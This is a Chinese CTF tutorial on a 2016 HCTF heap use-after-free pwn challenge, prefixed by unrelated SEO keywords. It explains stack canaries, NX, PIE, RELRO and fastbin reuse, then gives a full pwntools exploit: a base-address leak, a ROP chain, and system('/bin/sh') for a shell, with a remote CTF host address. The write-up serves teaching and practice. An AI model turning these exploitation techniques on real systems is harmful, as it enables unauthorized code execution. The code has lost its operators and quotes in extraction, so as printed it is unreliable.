网站建设swot市场分析,学做网站应该看那些书,网站正在建设页面,工业设计的就业前景和就业方向在网上关于ctf pwn的入门资料和writeup还是不少的#xff0c;但是一些过渡的相关知识就比较少了#xff0c;大部分赛棍都是在不断刷题中总结和进阶的。所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文#xff0c;供大家参考和一起交流。当然#xff0c;也不想搞… 在网上关于ctf pwn的入门资料和writeup还是不少的但是一些过渡的相关知识就比较少了大部分赛棍都是在不断刷题中总结和进阶的。所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文供大家参考和一起交流。当然也不想搞那些烂大街的东西所以打算从一道道pwn题开始见微知著在题目中延伸。 一工欲善其事必先利其器 ubuntu14.01 64位(该版本对pwntools的支持最好)。 pwntools:用于快速编写pwn的exp的python库功能非常强大。 IDA二进制必备的工具主要用来反汇编代码以及初步调试。 libc-database用于猜测libc.so.6库的工具非常好用。(可以在github里面找) ROPgaget用于查找和生成ROP链。 gdb虽然Linux肯定自带了但还是说一下吧。 二一道2016HCTF的UAFpwn题 当然拿到一个二进制文件首先需要运行一下。看截图 当然很蛋疼的是这个输入设置的也是醉了最好先把IDA打开看一下怎么输入。可以看出这个题目的输入逻辑还是挺简单的根据套路一般是在堆上搞问题。在进行分析之前再利用checksec(pwntools自带了?)检查一下文件的属性。 嗯先来介绍一下checksec检测的各个属性的作用 三checksec里的各个属性和含义 i:Stack Guard 最熟悉的就是Stack Guard了最经典的防护措施记得最早接触是在看《深入理解计算机系统》的时候通过在栈中插入Canary(这有一个很洋气的中文名,金丝雀值具体典故可以自行google额不多废话了)通过在return之前监测值是否变化来确定是否发生了栈溢出。对于canary在windows上(GS机制)和Linux上的初始化还是有很大的差别的Windows上的产生就不多加阐述了大致是.data的头四个字节和esp进行异或操作生成的这里主要讲一下Linux的Stack Guard。 先来看一段有canary的汇编代码。 400610: 55 push %rbp400611: 48 89 e5 mov %rsp,%rbp400614: 48 83 ec 30 sub $0x30,%rsp400618: 89 7d dc mov %edi,-0x24(%rbp)40061b: 48 89 75 d0 mov %rsi,-0x30(%rbp)40061f: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax - 插入canary值400626: 00 00400628: 48 89 45 f8 mov %rax,-0x8(%rbp)40062c: 31 c0 xor %eax,%eax40062e: 48 8d 45 e0 lea -0x20(%rbp),%rax400632: 48 89 c6 mov %rax,%rsi400635: bf 00 07 40 00 mov $0x400700,%edi40063a: b8 00 00 00 00 mov $0x0,%eax40063f: e8 cc fe ff ff callq 400510 __isoc99_scanfplt400644: 48 8d 45 e0 lea -0x20(%rbp),%rax400648: 48 89 c7 mov %rax,%rdi40064b: e8 80 fe ff ff callq 4004d0 putsplt400650: b8 00 00 00 00 mov $0x0,%eax400655: 48 8b 55 f8 mov -0x8(%rbp),%rdx - 检查canary值400659: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx400660: 00 00400662: 74 05 je 400669 main0x59 # 0x400669400664: e8 77 fe ff ff callq 4004e0 __stack_chk_failplt400669: c9 leaveq40066a: c3 retq 可以看那两行表明为红色的汇编代码可以发现canary就是fs:0x28的值了在Linux中glbc把fs指向tls换句话说canary的值在tls偏移0x28处来看一下tls的数据结构 typedef struct
{void *tcb; /* Pointer to the TCB. Not necessarily thethread descriptor used by libpthread. */dtv_t *dtv;void *self; /* Pointer to the thread descriptor. */int multiple_threads;int gscope_flag;uintptr_t sysinfo;uintptr_t stack_guard; - canary值偏移位置0x28处uintptr_t pointer_guard;......
} tcbhead_t; 其中tcbhead_t就是来描述tls的了进程加载的过程中会调用arch_prctl系统调用来设置%fs的值而canary的值则是在glibc的_dl_main和__libc_start_main函数中通过_dl_sysdep_start函数从内核获取的说了这么多就是想说对canary的值进行猜测还是挺难的绕过它的方法主流一般有两种一种是step-by-step,还有一种是覆盖直接修改tls里的canary。当然至于我说的绕过是正面刚曲线救国的方法还是挺多的。以后的文章可能会就这个问题进行具体描述这篇文章主要讲堆就不继续扩展了。 ii:N^X NX即No-eXecute不可执行的意思NXDEP的基本原理是将数据所在内存页标识为不可执行当程序溢出成功转入shellcode时程序会尝试在数据页面上执行指令此时CPU就会抛出异常而不是去执行恶意指令。绕过的最主流的方法就死ROP(return-orient-program)和JOP(Jump-orient-program)了关于JOP前一段时间打印了2010的那篇描述JOP的paper但是这段时间到了考试周也没空看(其实也是因为英文烂)。而且感觉在ctf中很少看见(当然估计是刷题刷的少)在Windows的exp上倒是经常混合使用。不过其实原理都差不多在这个题中会详细描述一下pwn使用ROP的一些套路。 iii:PIE 其实我还是喜欢叫ALSR(address space layout randomization)无论如何ALSR都是以页为单位的所以在页中位置不变即可以修改最后一位进行绕过这也是惯有套路了这个题目就是通过这个手段来进行leak出进程的基地址。 iv:RELRO(Relocation Read Only) gcc/linker/glibc dynamic-linker共同实现的,由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。可以尽可能减少存储区可写地址的范围但是............只要有可写的地方就有利用的机会。具体的实现可以参考 http://hardenedlinux.org/2016/11/25/RelRO.html。针对这一点0cft2017里面的writeup有非常经典的利用 四分析和利用 静态分析代码怎么能少了IDA呢把主要函数都起一个通俗易懂的名字建立好核心的数据结构理清具体的工作流程和堆的释放分配器情况(这个题目显然是在堆上搞问题)。先看一下得出的关键数据结构。 根据堆分配大小可以得出这个题目是关于块表分配的关于堆分配的具体知识可以去参考http://www.freebuf.com/articles/security-management/105285.html。而且在堆释放的时候的并没有必要的检查。所以完全可以试着去进行UAF。 UAF的基本流程是。malloc(sizeof(A))【A一般带函数指针】---init(A)----free(A)---占位--A的函数解引用这个题目中分配空间的途径只有一条换句话说这个问题的核心是如何将分配的数据覆盖到struct_str就好了这里的方法很多种在这里分享一种使用两种分配方式的方法(单纯一种也可以)先看具体流程 为了完整性粗略说一下fast bin的分配释放的方式。在fast bin中是由单项链表连接起来的每个chunk的pre_chunk指向之前回收的chunk即回收的chunk出于链表头部此时分配时也会从头部分配这里值得补充的是fast bin在free的时候并不检查double free 这样可以形成循环链表循环链表可以有利于chunk循环利用这个题目没必要这样但可以了解一下free(0)-free(1)-free(0)(本题并不使用该 使用该方法。 在本题中先是malloc(chunk0)-malloc(chunk1),其中chunk1chunk2都小于16个字节即进入上图的第二种情况。再free(chunk1)-free(chunk0)此时只要分配一个大小为0x20的buffer就可以覆盖chunk1了。但是这里有一个问题题目开了PIE所以只能覆盖12位这里可以在12位的范围里找呀找翻到了put此时rdi指向了该chunk的delete(chunk1)可以直接将put的位置泄露出来根据put的位置可以得到进程加载的基地址如图 代码如下 addr u64(addr \x00 * (8 - len(addr))) - 0xd2d #d2d是相对于基地址put的偏移print mainBase:,
print hex(addr) 由于题中的二进制文件并没有system所以需要在libc.so.6里拿到system的地址。这里有三种比较主流的方法可以得到chunk如下 五得到libc.so.6 里的system的三种常用方法 1利用libc-database 这一种是最简单暴力的只要你有个足够大的libc-database就好了(其实我花了很长时间才明白这个道理的之前都是慢慢leak出来的。原理也很简单就是记住每个版本的readwrite, system, ”/bin/sh的地址由于地址随机化是以页为单位的所以拿后12位和自己leak出来的地址后12位对比就可以得到用相应的版本具体如下图 2leakLib 当然之前一种方法并不一定凑效万一平台的libc版本你database里没有就尴尬了所以你需要另一个方法来解决这个问题说到这里不得不说pwntools这个神器了里面有关于这个的函数你所需要的就是得到可以任意读至少一个字节的漏洞根据这个就可以直接直接得到systemde地址了当然具体原理值得用一篇的篇幅来细讲和3一起留在下一篇文章继续说。 3Return-to-dl_solve 这个方法主要是利用自己伪造rel_entrysymtabstrtab然后通过增大rel_offset来直接调用system函数这种方法的原理和上一种方法一样需要对PE文件格式有一定的了解才能彻底理解详情放在下一篇。 六编写Exploit 这个题目闲麻烦就直接使用第一种了(毕竟打本地),后面两种方法就放在下一篇一起解决了。在编写exp之前想介绍一下pwn的几个小技巧 1特别在堆上搞事情的pwn题经常需要几个步才能实现一次分配或者释放所以完全可以将封装成一个函数还可以增加代码的可读性 2合理使用 context()函数gdb.attach()函数。这两个函数讷能够在调试中给予很大的便利,context(log_leveldebug)可以输出运行过程中io交互的细节而gdb.attach函数则是可以利用gdb调试特别对于在Windows下习惯用OD的人来说gdb并不是那么用户友好的但是在很多场景下gdb可能是唯一的选择比如利用kgdb调试Linux内核所以用好gdb还是很有必要的至于怎么用的话在实践中利用help熟能生巧吧 3学会使用pwntools的各个函数不得不说pwntools里对很多pwn里经常使用的东西都进行高度封装了。 之前已经可以控制任意指针并leak除了进程的加载基地址现在完全可以leak其它的地址再通过对比后12位这样基本leak libc.so.6的地址了这是说一下通用ROPgaget吧 在64位程序中很蛋疼的一点是它的参数优先放在寄存器中,顺序依次为rdi,rsi,rdx,rcx,r8,r9。而不是从栈中直接提取这样的话就不能直接把参数放到栈上面了这里需要我们来绕一个弯这个弯就是利用pop rdi;ret。pop rsi;ret。pop rdx;ret。来解决。在题目中可以通过ROPgaget来获取但是程序中不一定能够直接得到所以可以通过通用Gadget。 基本就是这一段代码具体的描述请参考***********文章没找到最开始出现在乌云到后到处转载自己找一下应该就能找到了 这是这个题目的ROP链 def creatROP():ropchain p64(addr 0x00000000000011e3) # pop rdiropchain p64(addr 0x202070)# gotmallocropchain p64(addr 0x0000000000000990)# pltputropchain p64(addr 0x00000000000011DA)# magicropchain p64(0)# rbxropchain p64(1)# rbpropchain p64(addr 0x0000000000202058)# r12 - rip gotreadropchain p64(8)# r13 - rdxropchain p64(addr 0x0000000000202078)# r14 - rsi gotatoiropchain p64(0)# r15 - rdiropchain p64(addr 0x00000000000011C0)# magicropchain a*8*7ropchain p64(addr 0x0000000000000B65)# getIntropchain yes AAAAropchainreturn ropchain 看起来很长其实设计已经成为套路了详情可以自己调试看看。这里设计很巧妙的有点是atoi函数直接是吧输入字符串作为参数这样的话可以直接覆盖为system的地址然后不需要设置参数直接调用前一个函数就可以了。 七exp实现 #! /usr/bin/python
from pwn import *# switches
DEBUG 0
LOCAL 1
VERBOSE 1# modify this
if LOCAL:target process(./heap)
else:target remote(119.28.62.216,10023)if VERBOSE: context(log_leveldebug)def creatROP():ropchain p64(addr 0x00000000000011e3) # pop rdiropchain p64(addr 0x202070)# gotmallocropchain p64(addr 0x0000000000000990)# pltputropchain p64(addr 0x00000000000011DA)# magicropchain p64(0)# rbxropchain p64(1)# rbpropchain p64(addr 0x0000000000202058)# r12 - rip gotreadropchain p64(8)# r13 - rdxropchain p64(addr 0x0000000000202078)# r14 - rsi gotatoiropchain p64(0)# r15 - rdiropchain p64(addr 0x00000000000011C0)# magicropchain a*8*7ropchain p64(addr 0x0000000000000B65)# getIntropchain yes AAAAropchainreturn ropchaindef create(size, string):target.recvuntil(quit)target.sendline(create )target.recvuntil(size:)target.sendline(str(size))target.recvuntil(str:)target.send(string)def delete(id,payloadyes):target.recvuntil(quit)target.sendline(delete )target.recvuntil(id:)target.sendline(str(id))target.recvuntil(sure?:)target.sendline(payload)if DEBUG: gdb.attach(target)a raw_input(go2?)
create(4, aaa\n)
#a raw_input(go?)
create(4, aaa\n)
#delete(0)
delete(1)
delete(0)
#create(4, \x00)
create(0x20, a * 0x16 lo \x2d)
delete(1)target.recvuntil(lo)
addr target.recvline()
addr addr[:-1]
put_addr u64(addr \x00 * (8 - len(addr)))
print putBase:str(hex(put_addr))addr u64(addr \x00 * (8 - len(addr))) - 0xd2d
print mainBase:,print hex(addr)delete(0)
#create(4, \x00)payload1 a * 0x18 p64(0x00000000000011DC addr)
create(0x20,payload1)ropchain creatROP()
delete(1,ropchain)
addr target.recvline()[:-1]
addr u64(addr \x00 * (8 - len(addr)))
print malloc_addr:,
print hex(addr)
addr addr - 534112 288144(这里可能要自己修改基地址)
#addr addr - 537984 283536
print System_addr:,
print hex(addr)
print LibBase:,
print hex(addr)target.sendline(p64(addr)/bin/sh)
target.interactive() 转载于:https://www.cnblogs.com/0xJDchen/p/6175651.html